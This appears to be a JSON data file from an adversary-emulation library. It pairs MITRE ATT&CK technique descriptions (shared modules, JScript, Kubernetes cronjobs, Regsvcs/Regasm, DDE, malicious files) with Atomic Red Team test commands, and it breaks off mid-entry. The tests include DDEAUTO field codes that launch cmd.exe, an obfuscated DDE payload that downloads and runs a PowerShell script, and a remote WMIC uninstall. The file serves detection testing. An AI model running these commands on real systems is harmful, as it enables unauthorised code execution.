- "prereq_command": "if ((Test-Path \"C:\\Program Files\\TightVNC\\tvnviewer.exe\")-Or (Test-Path \"C:\\Program Files (x86)\\TightVNC\\tvnviewer.exe\")) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi\nstart-sleep -s 10\nmsiexec /i PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi /qn /norestart\nstart-sleep -s 15"
- }
- ],
- "executor": {
- "command": "wmic /node:\"#{node}\" product where \"name like '#{product}%%'\" call uninstall",
- "cleanup_command": "msiexec /i PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi /qn /norestart",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1129": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
- "created": "2017-05-31T21:31:40.542Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1129",
- "url": "https://attack.mitre.org/techniques/T1129"
- },
- {
- "source_name": "Wikipedia Windows Library Files",
- "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files",
- "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess
, LoadLibrary
, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\">
in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.",
- "modified": "2022-04-19T20:31:10.657Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Shared Modules",
- "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot%
and %ProgramFiles%
directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Module: Module Load"
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1059.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Cody Thomas, SpecterOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
- "type": "attack-pattern",
- "created": "2020-06-23T19:12:24.924Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.007",
- "url": "https://attack.mitre.org/techniques/T1059/007"
- },
- {
- "source_name": "NodeJS",
- "url": "https://nodejs.org/",
- "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020."
- },
- {
- "source_name": "JScrip May 2018",
- "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript",
- "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020."
- },
- {
- "source_name": "Microsoft JScript 2007",
- "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript",
- "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020."
- },
- {
- "source_name": "Microsoft Windows Scripts",
- "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces",
- "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020."
- },
- {
- "source_name": "Apple About Mac Scripting 2016",
- "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html",
- "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021."
- },
- {
- "source_name": "SpecterOps JXA 2020",
- "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
- "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021."
- },
- {
- "source_name": "SentinelOne macOS Red Team",
- "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/",
- "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."
- },
- {
- "source_name": "Red Canary Silver Sparrow Feb2021",
- "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/",
- "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021."
- },
- {
- "source_name": "MDSec macOS JXA and VSCode",
- "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/",
- "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021."
- }
- ],
- "modified": "2021-08-16T21:02:05.142Z",
- "name": "Command and Scripting Interpreter: JavaScript",
- "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript
, they can be compiled into applications or script files via osacompile
, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript
and usage of OSAScript
API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "Command: Command Execution",
- "Process: Process Creation",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1059.007"
- },
- "atomic_tests": [
- {
- "name": "JScript execution to gather local computer information via cscript",
- "auto_generated_guid": "01d75adf-ca1b-4dd1-ac96-7c9550ad1035",
- "description": "JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\\T1059.007.out.txt",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "jscript": {
- "description": "Path to sample script",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1059.007\\src\\sys_info.js"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sample script must exist on disk at specified location (#{jscript})",
- "prereq_command": "if (Test-Path #{jscript}) {exit 0} else {exit 1} ",
- "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{jscript}) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"#{jscript}\""
- }
- ],
- "executor": {
- "command": "cscript #{jscript} > $env:TEMP\\T1059.007.out.txt'",
- "cleanup_command": "Remove-Item $env:TEMP\\T1059.007.out.txt -ErrorAction Ignore",
- "name": "command_prompt"
- }
- },
- {
- "name": "JScript execution to gather local computer information via wscript",
- "auto_generated_guid": "0709945e-4fec-4c49-9faf-c3c292a74484",
- "description": "JScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "jscript": {
- "description": "Path to sample script",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1059.007\\src\\sys_info.js"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sample script must exist on disk at specified location (#{jscript})",
- "prereq_command": "if (Test-Path #{jscript}) {exit 0} else {exit 1} ",
- "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{jscript}) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"#{jscript}\""
- }
- ],
- "executor": {
- "command": "wscript #{jscript}",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1053.007": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Center for Threat-Informed Defense (CTID)",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
- "type": "attack-pattern",
- "created": "2021-03-29T17:06:22.247Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.007",
- "url": "https://attack.mitre.org/techniques/T1053/007"
- },
- {
- "source_name": "Kubernetes Jobs",
- "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021."
- },
- {
- "source_name": "Kubernetes CronJob",
- "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021."
- },
- {
- "source_name": "Threat Matrix for Kubernetes",
- "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
- "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
- }
- ],
- "modified": "2022-04-01T13:06:58.794Z",
- "name": "Kubernetes Cronjob",
- "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Container: Container Creation",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1053.007"
- },
- "atomic_tests": []
- },
- "T1121": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:33.499Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1121",
- "url": "https://attack.mitre.org/techniques/T1121"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
- "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
- "source_name": "MSDN Regsvcs"
- },
- {
- "source_name": "MSDN Regasm",
- "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
- },
- {
- "source_name": "LOLBAS Regsvcs",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
- "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."
- },
- {
- "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
- "source_name": "LOLBAS Regasm"
- }
- ],
- "modified": "2020-01-31T19:00:30.734Z",
- "name": "Regsvcs/Regasm",
- "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction]
or [ComUnregisterFunction]
respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "execution",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1559.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
- "type": "attack-pattern",
- "created": "2020-02-12T14:10:50.699Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1559.002",
- "url": "https://attack.mitre.org/techniques/T1559/002"
- },
- {
- "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
- "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
- "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
- },
- {
- "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
- "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
- "source_name": "Microsoft ADV170021 Dec 2017"
- },
- {
- "url": "https://technet.microsoft.com/library/security/4053440",
- "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
- "source_name": "Microsoft DDE Advisory Nov 2017"
- },
- {
- "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
- "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
- "source_name": "SensePost PS DDE May 2016"
- },
- {
- "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities",
- "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
- "source_name": "Kettle CSV DDE Aug 2014"
- },
- {
- "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
- "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
- "source_name": "Enigma Reviving DDE Jan 2018"
- },
- {
- "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
- "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
- "source_name": "SensePost MacroLess DDE Oct 2017"
- },
- {
- "source_name": "OWASP CSV Injection",
- "url": "https://owasp.org/www-community/attacks/CSV_Injection",
- "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022."
- },
- {
- "source_name": "CSV Excel Macro Injection ",
- "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/",
- "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022."
- },
- {
- "source_name": "Fireeye Hunting COM June 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
- "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
- },
- {
- "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
- "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
- "source_name": "NVisio Labs DDE Detection Oct 2017"
- }
- ],
- "modified": "2022-02-22T13:22:30.191Z",
- "name": "Inter-Process Communication: Dynamic Data Exchange",
- "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1559.002"
- },
- "atomic_tests": [
- {
- "name": "Execute Commands",
- "auto_generated_guid": "f592ba2a-e9e8-4d62-a459-ef63abd819fd",
- "description": "Executes commands via DDE using Microsfot Word\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "steps": "Open Microsoft Word\n\nInsert tab -> Quick Parts -> Field\n\nChoose = (Formula) and click ok.\n\nAfter that, you should see a Field inserted in the document with an error \"!Unexpected End of Formula\", right-click the Field, and choose Toggle Field Codes.\n\nThe Field Code should now be displayed, change it to Contain the following:\n\n{DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe \"/k calc.exe\" }\n",
- "name": "manual"
- }
- },
- {
- "name": "Execute PowerShell script via Word DDE",
- "auto_generated_guid": "47c21fb6-085e-4b0d-b4d2-26d72c3830b3",
- "description": "When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "start $PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "DDEAUTO",
- "auto_generated_guid": "cf91174c-4e74-414e-bec0-8d60a104d181",
- "description": "\nTrustedSec - Unicorn - https://github.com/trustedsec/unicorn\n\nSensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/\n\nWord VBA Macro\n\n[Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "steps": "1. Open Word\n\n2. Insert tab -> Quick Parts -> Field\n\n3. Choose = (Formula) and click ok.\n\n4. Once the field is inserted, you should now see \"!Unexpected End of Formula\"\n\n5. Right-click the Field, choose \"Toggle Field Codes\"\n\n6. Paste in the code from Unicorn or SensePost\n\n7. Save the Word document.\n\n9. DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe \"/k calc.exe\"\n\n10. DDEAUTO \"C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\\\v1.0\\\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # \" \"Microsoft Document Security Add-On\"\n",
- "name": "manual"
- }
- }
- ]
- },
- "T1204.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "TruKno"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
- "created": "2020-03-11T14:49:36.954Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1204.002",
- "url": "https://attack.mitre.org/techniques/T1204/002"
- },
- {
- "source_name": "Password Protected Word Docs",
- "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/",
- "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
- "modified": "2022-05-20T17:19:50.801Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "User Execution: Malicious File",
- "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation"
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1204.002"
- },
- "atomic_tests": [
- {
- "name": "OSTap Style Macro Execution",
- "auto_generated_guid": "8bebc690-18c7-4549-bc98-210f7019efff",
